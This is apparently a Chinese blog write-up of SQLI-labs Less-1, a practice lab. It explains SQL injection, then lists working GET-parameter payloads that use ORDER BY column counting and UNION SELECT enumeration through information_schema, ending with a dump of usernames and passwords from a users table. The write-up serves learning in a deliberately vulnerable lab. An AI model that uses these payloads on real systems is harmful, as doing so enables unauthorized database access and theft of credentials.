SQLI_LAB------level 1
SQLI_LAB
刷题刷题刷题!!!
知识扩展:
SQL
1)SQL注入介绍
SQLI,sql injection,我们称之为 sql 注入。何为 sql,英文:Structured Query Language,叫做结构化查询语言。常见的结构化数据库有MySQL,MS SQL ,Oracle以及Postgresql。Sql语言就是我们在管理数据库时用到的一种。在我们的应用系统使用 sql 语句进行管理应用数据库时,往往采用拼接的方式形成一条完整的数据库语言,而危险的是,在拼接sql语句的时候,我们可以改变sql 语句。从而让数据执行我们想要执行的语句,这就是我们常说的sql注入。
2)关于SQL基础语句
增:insert into tableName(columnName1,columnName2) values(value1,value2)
删:delete from tableName where …
改:update tableName set columnName=value where …
查:select * from tableName where …
3)Information_schema数据库基本表说明:
schemata表:提供了当前mysql实例中所有的数据库信息,show databases的结果就是从该表得出。
tables表:提供了关于数据库中的所有表的信息,即表属于哪个schema,表的创建时间、表的类型等,show tables from schemaName的结果就是从该表得出。
columns表:提供表中所有列信息,即表明了表中所有列及每列的信息,show columns from schemaName.tableName的结果就是从该表得出。
。。。。。。待续
less1
这是进去以后的主界面

下面开始进行简单测试
判断是否存在注入点


基础语句 and 1=1 、 and 1=2 判断 这里发现页面没什么变化。尝试测试 单引号 ‘
构造的语句:-1'

发现页面出现报错信息,判断页面存在get注入。
开始构造sql语句,查询字段数量。 通常使用order by 2........
构造的语句:-1'+order+by+3--+

通过不断测试发现当数字4时开始报错,说明数据库中有3个字段。
构造的语句:-1'+order+by+4--+

知道字段数以后,开始获取数据库版本,当前库名
构造的语句:-1'+union+select+1,version(),database()--+

得到版本、库名等信息以后,开始获取表名
构造的语句:-1'+union+select+1,group_concat(table_name),database()+from information_schema.tables+where+table_schema='security'--+

获取到表名以后,开始尝试获取字段名
构造语句:-1'+union+select+1,group_concat(column_name),database()+from information_schema.columns+where+table_name='users'--+

获取到字段名后,开始尝试获取字段内容
构造语句:-1'+union+select+1,group_concat(id,0x7e,username,0x3a,password),+3+from+users--+

但是这样有点乱,所以加个换行符 正常的话应该十六的进制的数但是呢没记住就直接写了
构造语句:-1'+union+select+1,group_concat(id,0x7e,username,0x3a,password,'<hr />'),+3+from+users--+

第一关完成。。。。。。
SQLI_LAB------level 1的更多相关文章
- Java compiler level does not match解决方法
从别的地方导入一个项目的时候,经常会遇到eclipse/Myeclipse报Description Resource Path Location Type Java compiler level d ...
- Android requires compiler compliance level 5.0 or 6.0. Found '1.4' instead的解决办法
今天在导入工程进Eclipse的时候竟然出错了,控制台输出的是: [2013-02-04 22:17:13 - takepicture] Android requires compiler compl ...
- Android版本和API Level对应关系
http://developer.android.com/guide/topics/manifest/uses-sdk-element.html Platform Version API ...
- [LeetCode] Binary Tree Level Order Traversal II 二叉树层序遍历之二
Given a binary tree, return the bottom-up level order traversal of its nodes' values. (ie, from left ...
- [LeetCode] Binary Tree Zigzag Level Order Traversal 二叉树的之字形层序遍历
Given a binary tree, return the zigzag level order traversal of its nodes' values. (ie, from left to ...
- [LeetCode] Binary Tree Level Order Traversal 二叉树层序遍历
Given a binary tree, return the level order traversal of its nodes' values. (ie, from left to right, ...
- Android版本与api Level
Platform Version API Level VERSION_CODE Notes Android 4.4 19 KITKAT Platform Highlights Android 4.3 ...
- Selenium通过WebDriver控制IE浏览器出错 Browser zoom level was set to 109%. It should be set to 100%
错误信息: WebDriverException: Message: Unexpected error launching Internet Explorer. Browser zoom level ...
- pythonchallenge 解谜 Level 8
#-*- coding:utf-8 -*- #代码版本均为python 3.5.1 #Level 7 import bz2 un=b'BZh91AY&SYA\xaf\x82\r\x00\x00 ...
- pythonchallenge 解谜 Level 7
#-*- coding:utf-8 -*- #代码版本均为python 3.5.1 #Level 7 from PIL import Image x_begin, x_end = 0, 609 y_b ...
随机推荐
- android studio 导入主题设置,代码风格(附带eclipse 主题代码样式)
在这里我最想说的,android studio默认主题样式,太low.不适合长时间写代码,看代码颜色不好识别,相对于背景的代码样式,我都不想吐槽了.还是网上下载主题代码样式导入样式.在这里我推荐 Su ...
- Jquery 动态交换两个div位置并添加Css动画效果
前端网页开发中我们经常会遇到需要动态置换两个DIV元素的位置,常见的思路大多是不考虑原始位置,直接采用append或者appendTo方式将两元素进行添加,该法未考虑原始位置,仅会添加为元素的最后一子 ...
- Invalid or unexpected token:数据格式错误
一个查询页面突然出现如下这个错误: Uncaught SyntaxError: Invalid or unexpected token, 翻译成中文是: 捕获的查询无效或意外的标记. 既然代码逻辑没问 ...
- 1123. Lowest Common Ancestor of Deepest Leaves
link to problem Description: Given a rooted binary tree, return the lowest common ancestor of its de ...
- Steam 游戏 《The Vagrant(流浪者)》修改器制作-[先使用CE写,之后有时间的话改用CheatMaker](2020年寒假小目标08)
日期:2020.02.07 博客期:146 星期五 [温馨提示]: 只是想要修改器的网友,可以直接点击此链接下载: 只是想拿CT文件的网友,可以直接点击此链接下载: 没有博客园账号的网友,可以将页面下 ...
- Flask程序相关配置加载的三种方式
方式一:从对象中加载配置 1.定义配置类,在配置类中添加相应的配置 2.通过app.config.from_object(配置类)进行加载 代码如下: from flask import Flask ...
- 第一周之Hadoop学习(一)
首先根据网上的教程得搭建一个linux的环境,所以第一部分是下载虚拟机的过程. 参考博客:https://blog.csdn.net/hliq5399/article/details/78193113 ...
- JDK各个版本的新特性jdk1.5-jdk8(转)
原文:http://www.cnblogs.com/langtianya/p/3757993.html JDK各个版本的新特性 对于很多刚接触java语言的初学者来说,要了解一门语言,最好的方式就是要 ...
- 32 commons-lang包学习
maven依赖 <dependency> <groupId>commons-lang</groupId> <artifactId>commons-lan ...
- Node.js npm基础安装配置&创建第一个VUE项目
使用之前,我们先来明白这几个东西是用来干什么的. node.js: 一种javascript的运行环境,能够使得javascript脱离浏览器运行.Node.js的出现,使得前后端使用同一种语言,统一 ...